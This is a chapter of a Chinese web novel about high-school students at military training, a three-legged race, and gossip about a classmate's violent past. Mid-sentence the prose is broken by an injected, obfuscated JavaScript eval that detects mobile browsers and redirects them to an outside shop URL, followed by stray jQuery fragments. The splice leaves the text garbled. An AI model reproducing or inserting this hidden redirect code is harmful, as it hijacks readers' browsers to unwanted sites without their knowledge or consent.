操场逐渐被夜色笼罩,跑道上的比赛仍旧如火如荼地进行,一阵气息突然拂过桑榆的右侧耳廓,感觉又麻又痒。
她本能地抬起手,刚想要触碰,一道声音猝不及防地落了耳。
“我跟你换位置。”
几乎是循着下意识,桑榆朝着右侧一下就偏过了头,霎时间,一张轮廓清晰的侧脸出现在了眼前。
不曾想到两人的距离会隔得如此近,她的鼻尖擦着毫分距离从陈东隅的侧脸上划过。
细小绒毛的碰撞像是给管理声音的设备敲下指令,操场上的沸反盈天在这一瞬间全部褪去,只留下心脏乱了节奏一般疯狂跳动。
眼睫似是化成了蝴蝶的翅膀,在这短短几秒的时间里颤了又颤。
桑榆提着一口气,别过眼,向后退了一步。
她没问对方突然改变心意的缘由,只应了声“好”。
陈东隅敛了敛神,自然地直起身子,像是无事发生过一样,只是微微泛红的耳尖毫不客气地出卖了他。
·
“一双,两双,桑妹我跟你——”林斯言正掰着手指头数着他的搭档,一回头,才发现身后已经换了个人。
“阿隅?你俩什么时候换位置了?”
陈东隅懒懒抬眸,语气很是随意:“她想跟女生一组。”
“这样啊……”林斯言摩挲着下巴,想了想也可以理解,这搭档的双方难免会有肢体接触,女生和女生在一起肯定更自在。
“行,那我俩一组,走吧,可以上跑道了。
交换过位置后,桑榆和一个叫邓佳的女生组成了搭档。
不知是不是错觉,这个女生对她十分热情,仿佛她是什么救世主般的存在,以至于桑榆内心有些惶恐。
“桑榆,我一定尽力不给你拖后腿!”
就这么一句话,邓佳说得那叫一个壮志凌云。
桑榆眼角弯了弯,温声道:“没关系的,重在参与就好,你不要那么大压力。”
吹哨的教官眼见各个跑道上的同学纷纷就位,将哨子放到了嘴边,“三班的第一轮准备开始了啊!各就各位,预备跑!”
随着哨声吹响,两两成对的搭档开始一起大步向前冲。
四百米的距离虽不长,但要以两人三足的形式完成无疑还是有些困难,赛程才刚过半,大部分同学已经体力所剩无几,有两组队伍更是直接停了下来选择放弃。
桑榆和邓佳两人一直保持着匀速前行,却也还是流失了不少体力。
瞥见到邓佳的脸色变得有些苍白,桑榆不免担心,“还能坚持吗,如果你难受我们就歇会儿。”
邓佳喘着气吐舌头,“可以的,长痛不如短痛,我再咬咬牙就行。”
距离终点还有一百米的时候,这一轮只剩下了四组队伍,桑榆和邓佳对视一眼,两人开始加速冲刺。
林斯言原是打算回头看看桑榆落后了多少进度,谁知这一回头,发现人家已经追到了身后。
“阿隅你看,桑妹她们居然追上来了,刚刚还落后一大截的!”
听着林斯言那难以置信的语气,陈东隅也往后瞥了一眼。此刻,两队之间的距离相差不过十米。
奋力向前的邓佳大脑已经是一片空白,耳边只听得到呼啦呼啦的风声,口腔里也不知何时开始逐渐生出了一股铁锈味。
她不禁感叹,自己在体育中考时都没像现在这么拼命过。
大概是她的面目太过狰狞,耳边很快就响起了桑榆的安抚声,“再坚持会儿,马上就快到终点了。”
几乎是只余下最后几米的距离,另一条跑道上的陈东隅和林斯言像是踩了刹车一般突然停下。
桑榆一个分神,导致咬着牙继续往前冲的邓佳和她在速度上出现了片刻的偏差。
好在邓佳眼疾手快地扶住,差一点她便要因为绊到脚而摔倒。
越过终点的那一刻,两人都有种不真实的感觉,而得知她们拿下第三名后,邓佳更是惊叹不已:“天哪,我居然做到了,桑榆我爱你。”
看着邓佳难掩兴奋地抱着身旁人又叫有喊,赵教官打趣道:“行了,别在这惹人嫉妒了,去观众席那边休息吧。”
·
比起观众席上的其乐融融,跑道外席地而坐的林斯言则是又气又无奈。
刚刚只差临门一脚的工夫,却因为陈东隅小腿抽筋出了意外,最后,他只得眼睁睁地看着桑榆和邓佳拿走第三。
“怎么回事,老远就看见你们来了个急刹车?”
问话的是从观众席上走下的蒋泽延,他参加的是上一轮,挺幸运,搭档的男生平时也有锻炼的习惯,两个体能都不错的人轻轻松松拿下第一。
原以为陈东隅和林斯言两人也是稳操胜券,不成想居然出了局。
“你敢信,他居然抽筋了!”
听到意料之外的回答,蒋泽延轻蹙了下眉,似是回忆起先前无意撞见过的画面,又转为意味不明的一笑。
“真抽筋了?”
陈东隅听出了蒋泽延语气里的谑弄,也不作回答,手往后一撑,挑着眉看向他。
蒋泽延嘴边的笑意加深,似乎内心刚刚涌出的想法也不是完全没可能。
“得,我给二位买水去,你们待会儿跑圈加油。”
·
跑步的时候感觉时间过得甚是漫长,仿佛心跳都能跟上指针的每一次拨动。然而坐下休息后,表盘像是飞速旋转了起来,只感觉还没过多久,两人三足的比赛便已经全部结束。
总教官吹响哨声后,高声呼喊:“观众席上的那些同学们可以继续休息,其他人都到跑道上集合准备跑圈。不要给我混水摸鱼啊,被抓到就是十圈!”
听了这话后,除了观众席这边还保持着一派祥和外,散落在操场各处的其他同学一个个像是气血被抽干似的毫无生气。
“桑榆,看着他们在那里跑圈,而我却能坐在这里,我感觉爽翻了。真的太感激你了!”
邓佳说着就想再给桑榆一个熊抱,谁知一抬眼便见蒋泽延正走过来,悬在空中的手瞬间顿住。
桑榆见她整个人突然跟卡了壳一样呆住,顺着她的视线回了头。
蒋泽延在桑榆旁边的位置坐下后,抬手给她递了一瓶水,“给。”
桑榆犹豫了一下,还是接过了水,“谢谢”。
蒋泽延又递了一瓶水放到那只悬在空中的手上
对方诚惶诚恐地道谢后快速挪动了位置,转身投入和其他同学的热聊中。
“对了,刚刚林斯言他们是怎么了?我记得当时我们好像离终点的距离都差不多来着。”
看着操场上身姿矫健的某人,蒋泽延低笑一声:“没多大事,阿隅他小腿抽筋了。”
桑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788648|145864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
榆嘴唇一抿,眨了眨眼,明显不信。
“桑榆。”蒋泽延突然开口。
“嗯?”桑榆侧目,发现对方已经收起笑意,变得一本正经。
“阿隅……他其实是个挺好的人。”
桑榆紧了下眉心,一脸讶异。
这句话和她有什么关系吗?
“你会慢慢发现的,我先过去了。”
蒋泽延离开后,桑榆总觉得有些不得劲,有种平静湖面突然让人扔了粒石子的感觉,然而还不待她琢磨出什么,邓佳已迅速归位。
“你们……聊什么了?”
桑榆坦言:“刚刚林斯言他们不是在最后关头停住了,我问问他是什么缘由。”
“桑榆,你跟他熟吗?”
“还好吧。怎么了?”
“没事,我就问问。”
停顿片刻,邓佳又接着问:“那……你和你同桌呢,处得好吗?”
一而再的话题绕到同一个人身上,桑榆有些忍俊不禁,“都差不多吧,这才认识也没几天,而且又在军训,其实没多少交流的。”
相比起邓佳问到的这两人,桑榆觉得自己和林斯言可能更为熟悉一些,而另外两人对她比较客气大概也是因为他吧。
见邓佳一脸思索的表情,像是憋着什么话未说,桑榆直言:“你是有什么想说的吗?”
邓佳思忖了一下,缓缓开口:“你知道他以前把班上一个男生打得救护车都开进学校的事吗?”
桑榆摇了摇头。
难怪林斯言说他有个性,感情背后还有这么一段热血的过往呢?
邓佳接着回忆:“那个时候他是在我隔壁班,我和我朋友是看着那个男生被抬到担架上送走的。”
回想起那天陈东隅的眼神,邓佳现在都还觉得瘆人。
“你知道吗,后续才是让人更不理解的。那个被打的男生在醒来后完全否认了被打的事情,并且直接转学了。我天!你说到底是威胁了什么才能让那个男生怕到否认事实。”
邓佳对这类高冷的角色本就不感冒,出了这么一件事后,对他的态度更是直接演变成退避三舍,所以那会儿从背后撞了人她才那么紧张。
“你们有没有想过可能是那个男生先做了什么不好的事才会挨打的呢?”
没料到对方会是这个反应,邓佳一时间不知如何接话:“额……你这个论点打得有点偏啊。”
邓佳组织了一下语言,重新开口:“怎么说呢,那个男生被打成那样躺在那里,任谁看了都会下意识觉得是打人的那一方有错吧。而且事后老师问他为什么打人,他也不解释,只说愿意接受处罚。如果按你说的,是那个男生做错了事,那他大可以交代一切,让大家评理不是吗?”
“那……发生这件事之前呢?他是个怎么样的人?”桑榆问。
“和现在看到的他差不多吧,性子冷,不爱搭理人,一副生人勿近的样子。”
一时间,蒋泽延说过的那两句话忽然就在桑榆耳边回响起来。
他是知道总会有人来告诉她关于陈东隅的这些过往,所以特意先来给她打预防针的吗?
那他的目的是什么,是不希望她误会?
就在桑榆陷入自己的这点思绪里时,操场那边的集合声传了过来。
她和邓佳快速走下观众席,拔脚朝着三班的队伍跑去。